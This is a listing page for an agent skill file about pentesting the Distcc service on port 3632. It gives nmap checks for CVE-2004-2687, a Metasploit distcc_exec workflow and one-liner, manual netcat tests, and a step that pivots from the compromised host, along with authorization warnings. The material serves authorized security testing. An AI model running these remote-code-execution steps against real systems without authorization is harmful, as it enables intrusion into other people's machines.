# Distcc Pentest

> How to identify and exploit Distcc vulnerabilities on port 3632. Use this skill whenever the user mentions Distcc, port 3632, distributed compilation, or needs to test for CVE-2004-2687. Make sure to use this skill for any network service enumeration that reveals port 3632, or when the user wants to check for remote code execution via Distcc misconfigurations.

- Skill: `abelrguezr/distcc-pentest` (Agent Skill, multi-file: 4 files)
- Install (CLI): `npx skillmds@latest add abelrguezr/distcc-pentest`
- Raw SKILL.md: https://api.skillmd.com/api/skills/abelrguezr/distcc-pentest/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Security
- Author: abelrguezr (https://skillmd.com/u/abelrguezr)
- Updated: 2026-09-10
- Page: https://skillmd.com/skills/abelrguezr/distcc-pentest

---


# Distcc Pentesting

A skill for identifying and exploiting Distcc vulnerabilities, particularly CVE-2004-2687 which allows remote code execution.

## What is Distcc?

**Distcc** is a distributed compilation tool that uses idle processing power from other computers on the network. When misconfigured, it can allow attackers to execute arbitrary code on the target system.

**Default port:** 3632/tcp

## When to Use This Skill

Use this skill when:
- Port 3632 is open during network enumeration
- You need to test for Distcc vulnerabilities
- You want to check for CVE-2004-2687
- You're assessing distributed compilation services
- You need to verify if a Distcc daemon is vulnerable to RCE

## Quick Start

### 1. Identify Distcc Service

```bash
# Check if port 3632 is open
nmap -p 3632 <target-ip>

# Banner grab to confirm Distcc
nc -v <target-ip> 3632
```

### 2. Test for CVE-2004-2687

This vulnerability allows arbitrary command execution on the Distcc server.

**Using Nmap script:**
```bash
nmap -p 3632 <target-ip> --script distcc-cve2004-2687 --script-args="distcc-exec.cmd='id'"
```

**Using Metasploit:**
```bash
msfconsole
use exploit/unix/misc/distcc_exec
set RHOSTS <target-ip>
set PAYLOAD <payload>
exploit
```

### 3. Manual Exploitation

If you don't have Metasploit, you can test manually:

```bash
# Test if the service accepts commands
echo "id" | nc <target-ip> 3632

# Try to compile a test file (if vulnerable)
distcc -m <target-ip> --show-version
```

## Exploitation Workflow

1. **Enumerate**: Confirm port 3632 is open and running Distcc
2. **Test**: Run the CVE-2004-2687 check to see if it's vulnerable
3. **Exploit**: If vulnerable, use Metasploit or manual methods to gain code execution
4. **Pivot**: Use the compromised host for further network access

## Important Notes

- **CVE-2004-2687** is the primary vulnerability to check for
- The vulnerability allows **arbitrary command execution**
- Many older systems still have this vulnerability unpatched
- Distcc is often found in development environments
- Always have proper authorization before testing

## Resources

- [Rapid7 Metasploit Module](https://www.rapid7.com/db/modules/exploit/unix/misc/distcc_exec)
- [Distcc Exploitation Gist](https://gist.github.com/DarkCoderSc/4dbf6229a93e75c3bdf6b467e67a9855)
- [Nmap distcc-cve2004-2687 Script](https://nmap.org/nsedoc/scripts/distcc-cve2004-2687.html)

## Common Commands Reference

```bash
# Quick vulnerability check
nmap -p 3632 <ip> --script distcc-cve2004-2687 --script-args="distcc-exec.cmd='id'"

# Full scan with service detection
nmap -sV -p 3632 <ip>

# Metasploit exploitation
msfconsole -q -x "use exploit/unix/misc/distcc_exec; set RHOSTS <ip>; exploit"
```

## Safety & Authorization

⚠️ **Always ensure you have explicit authorization before testing Distcc services.** Unauthorized exploitation of Distcc vulnerabilities is illegal and can result in severe legal consequences.

This skill is intended for:
- Authorized penetration testing engagements
- Security assessments with written permission
- Educational purposes in controlled environments
- Bug bounty programs where Distcc is in scope